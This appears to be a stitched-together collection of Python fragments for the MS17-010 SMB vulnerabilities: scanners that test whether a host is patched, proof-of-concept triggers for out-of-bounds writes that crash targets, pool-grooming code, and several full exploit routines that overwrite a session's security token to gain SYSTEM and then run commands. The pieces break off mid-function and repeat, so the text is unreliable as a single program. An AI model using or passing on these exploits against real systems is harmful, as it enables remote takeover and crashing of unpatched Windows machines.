def smbcheck(target): if checkPort(target, '445'): conn = MYSMB(target) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: #print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: #print('OS: ' + conn.get_server_os()) TragetOS = '(' + conn.get_server_os() + ')' tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES #print('The target is not patched') CheckResult = 'MS17-010\t' + TragetOS return CheckResult
def main(): parser = argparse.ArgumentParser() parser.add_argument( 'target', action='store', help='[[domain/]username[:password]@]<targetName or address>') group = parser.add_argument_group('connection') group.add_argument( '-target-ip', action='store', metavar="ip address", help= 'IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it' ) group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, remoteName = re.compile( '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in remoteName: password = password + '@' + remoteName.rpartition('@')[0] remoteName = remoteName.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remoteName conn = MYSMB(options.target_ip, int(options.port)) try: conn.login(username, password) except smb.SessionError as e: print('[-] Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: print('[*] Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + options.target_ip + '\\' + 'IPC$') conn.set_default_tid(tid) check_ms17_010(conn) check_accessible_pipes(conn) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() print('[*] Done')
# after padding is pointer to allocated npp and shellcode there sessionSetup['Data'] = pack('<H', 0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX): print('SMB1 session setup allocate nonpaged pool success') conn.set_uid(recvPkt['Uid']) else: print('SMB1 session setup allocate nonpaged pool failed') sys.exit() conn = MYSMB(target) login_put_staging_sc(conn, staging_sc, 512) # if share name is disk, the race is easier to win because there are more operation to do after InData is modified tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # ================================ # leak a transaction # ================================ for i in range(10): conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0,
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be free chunk data (failed but not crash the target). ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') fid = conn.nt_create_andx(tid, pipe_name) print('Sending 50 frag packets (25 to free)') # paged pool size 0x8000 ... 0xc000 for i in range(5): for j in range(7, 0xc): size = (j * 0x1000) + 0xe00 conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0) conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0, tid=tid2)
def checker(target): try: USERNAME = '' PASSWORD = '' NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') MSRPC_UUID_BROWSER = uuidtup_to_bin( ('6BFFD098-A112-3610-9833-012892020162', '0.0')) MSRPC_UUID_SPOOLSS = uuidtup_to_bin( ('12345678-1234-ABCD-EF00-0123456789AB', '1.0')) MSRPC_UUID_NETLOGON = uuidtup_to_bin( ('12345678-1234-ABCD-EF00-01234567CFFB', '1.0')) MSRPC_UUID_LSARPC = uuidtup_to_bin( ('12345778-1234-ABCD-EF00-0123456789AB', '0.0')) MSRPC_UUID_SAMR = uuidtup_to_bin( ('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) pipes = { 'browser': MSRPC_UUID_BROWSER, 'spoolss': MSRPC_UUID_SPOOLSS, 'netlogon': MSRPC_UUID_NETLOGON, 'lsarpc': MSRPC_UUID_LSARPC, 'samr': MSRPC_UUID_SAMR, } conn = MYSMB(target) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: #print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: pass #print('Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES #print('The target is not patched') return True else: #print('The target is patched') return False #print('') #print('=== Testing named pipes ===') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) #print('{}: Ok (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): pass #print('{}: Ok (32 bit)'.format(pipe_name)) else: pass #print('{}: Ok ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: #print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) pass except smbconnection.SessionError as e: pass #print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except: return False
def check(target): conn = MYSMB(target) flag = 0 try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) return flag finally: print('Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES print('The target is not patched') flag = 1 else: print('The target is patched') return 0 print('') print('=== Testing named pipes ===') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) print('{}: Ok (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): print('{}: Ok (32 bit)'.format(pipe_name)) else: print('{}: Ok ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return flag
def checker(host): try: conn = MYSMB(host) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: logger.error('LOGIN FAILED: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: logger.info('CONNECTED TO {}'.format(logger.BLUE(host))) logger.info('TARGET OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.error('{} IS PATCHED!'.format(target)) sys.exit() logger.action('CHECKING NAMED PIPES...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('{}: OK (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('{}: OK (32 bit)'.format(pipe_name)) else: logger.success('{}: OK ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except: logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
''' PoC: demonstrates the bug that NSA eternalromance and eternalsynergy use for OOB write ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # create incomplete transaction with mid is pipe fid conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400) # use SMB write to shift transaction.InData conn.do_write_andx_raw_pipe(fid, 'A'*0x1000) # send secondary for OOB write # after sending below secondary, a target should be crashed
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: print('This exploit does not support this target') sys.exit() if pipe_name is None: pipe_name = find_named_pipe(conn) if pipe_name is None: print('Not found accessible named pipe') return False print('Using named pipe: '+pipe_name) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] print('current TOKEN addr: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0] userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0] print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount)) print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr)) print('overwriting token UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn, info['arch']) except: pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
import sys ''' PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug Note: The PoC does not support user authentication ''' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target, use_ntlmv2=False) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 flags2 |= smb.SMB.FLAGS2_UNICODE conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value
def exploit(target,username,password,pipe_name): logger.blue('Connecting to: [{}]'.format(logger.BLUE(target))) conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} if len(username) == 0 and len(password) == 0: logger.blue('Attempting to authenticate with {}'.format(logger.BLUE('null sessions'))) else: logger.blue('Attempting to authenticate as {}:{}'.format(logger.BLUE(username),logger.BLUE(password))) try: conn.login(username,password,domain,maxBufferSize=4356) logger.green('Successfully authenticated as {}:{}'.format(logger.GREEN(username),logger.GREEN(password))) except Exception as e: logger.red(str(e)) quit() server_os = conn.get_server_os() logger.blue('OS: {}'.format(logger.BLUE(server_os))) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): # set the ['method'] to the appropriate exploit info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: logger.red('Target isnt supported...') quit() logger.blue('Checking the named pipes...') if pipe_name is None: pipe_name = find_named_pipe(conn) if pipe_name is None: logger.red('Couldnt get named pipe...') return False logger.green('Using pipe: [{}]'.format(logger.GREEN(pipe_name))) if not info['method'](conn, pipe_name, info): # this then runs exploit_matched_pairs() return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] logger.blue('Creating SYSTEM Session') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) logger.blue('Overwriting Token [UserAndGroups]') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) logger.blue('Overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ # try: smb_pwn(conn, info['arch']) # except: # pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be free chunk data (failed but not crash the target). ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) tid2 = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') fid = conn.nt_create_andx(tid, pipe_name) print('Sending 50 frag packets (25 to free)') # paged pool size 0x8000 ... 0xc000 for i in range(5): for j in range(7, 0xc): size = (j * 0x1000) + 0xe00 conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size,
def checkVuln(target,user,pwd): result = {'target':target,'user':user,'pwd':pwd,'logon':'','vuln':'','piped':'','OS':'','arch':''} logger.log.info('check target:%s user:%s pwd:%s'%(target,user,pwd)) conn = MYSMB(target) try: conn.login(user, pwd) result['logon'] = 'OK' except smb.SessionError as e: logger.log.info(target + ' Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) result['logon'] = 'NO' return result finally: result['OS'] = conn.get_server_os() logger.log.info(target + ' OS:' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.log.info(target + ' is not patched') result['vuln'] = 'OK' else: result['vuln'] = 'NO' logger.log.info(target + ' is patched') return result #print('') #print('=== Testing named pipes ===') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) result['piped'] += pipe_name + " " logger.log.info('{}: Ok (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): result['piped'] += pipe_name + " " logger.log.info('{}: Ok (32 bit)'.format(pipe_name)) else: result['piped'] += pipe_name + " " logger.log.info('{}: Ok ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: logger.log.info('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: logger.log.info('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return result
pipes = { 'browser' : MSRPC_UUID_BROWSER, 'spoolss' : MSRPC_UUID_SPOOLSS, 'netlogon' : MSRPC_UUID_NETLOGON, 'lsarpc' : MSRPC_UUID_LSARPC, 'samr' : MSRPC_UUID_SAMR, } if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: print('Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
import sys import socket import time target = '10.11.1.75' USERNAME = '' PASSWORD = '' PIPEFILE = '/usr/share/wordlists/metasploit/named_pipes.txt' SMBSHARE = 'IPC$' #pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ] with open(PIPEFILE) as f: pipes = f.read().splitlines() conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} try: conn.login(USERNAME, PASSWORD, maxBufferSize=4356) except: print "Cannot Connect" try: tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + SMBSHARE) except smb.SessionError as e:
from struct import pack import sys ''' PoC: demonstrates how NSA eternalblue triggers the buffer overflow ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # OOB write ~0x8c00 for BSOD payload = pack('<I', 0x10000) payload += pack('<BBH', 0, 0, 0xc003) + 'A' * 0xc004 payload += pack('<BBH', 0, 0, 0xcc00) + 'B' * 0x4000 mid = conn.next_mid() # NT function can be any # TRANS2_OPEN2 (0) conn.send_nt_trans(2, setup=pack('<H', 0),
''' PoC: demonstates leaking information from uninitialize buffer ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # create NT_TRANS_RENAME (5) request mid = conn.next_mid() conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A'*0x1000, totalDataCount=0x8000) # send secondary to set data at displacement 0 to leave uninitialize data in InData for i in range(7): conn.send_nt_trans_secondary(mid, data='B'*0x1000)
from mysmb import MYSMB from struct import pack import sys ''' PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug Note: The PoC does not support user authentication ''' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target, use_ntlmv2=False) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 flags2 |= smb.SMB.FLAGS2_UNICODE conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value
def scan(): delimiter = '*' * 30 options = get_arguments() domain, username, password, remoteName = parse_domain_and_credentials( options) print('[*] Logging in...') connection = MYSMB(options.target_ip, int(options.port)) connection.login_or_fail(username, password) print(delimiter) tid = connection.tree_connect_andx('\\\\' + options.target_ip + '\\' + 'IPC$') connection.set_default_tid(tid) print('[*] Checking for the MS17-010') connection.check_ms17_010() print(delimiter) print('[*] Checking for the accessible pipes') connection.find_named_pipe(firstOnly=False) print(delimiter) print('[*] MS17-010 scan has been finished, disconnecting...') connection.disconnect_tree(tid) connection.logoff() connection.get_socket().close() print('[*] Done')
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) logger.action('GETTING TARGET OPERATING SYSTEM...') server_os = conn.get_server_os() logger.alert('TARGET OS: {}'.format(logger.BLUE(server_os))) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: logger.error('EXPLOIT DOES NOT SUPPORT THIS TARGET...') sys.exit() if pipe_name is None: logger.action('GETTING PIPE...') pipe_name = find_named_pipe(conn) if pipe_name is None: logger.error('COULD NOT FIND NAMED PIPE...') return False logger.success('USING PIPE: {}'.format(pipe_name)) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] logger.action('CREATING SYSTEM SESSION TO SMB...') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult 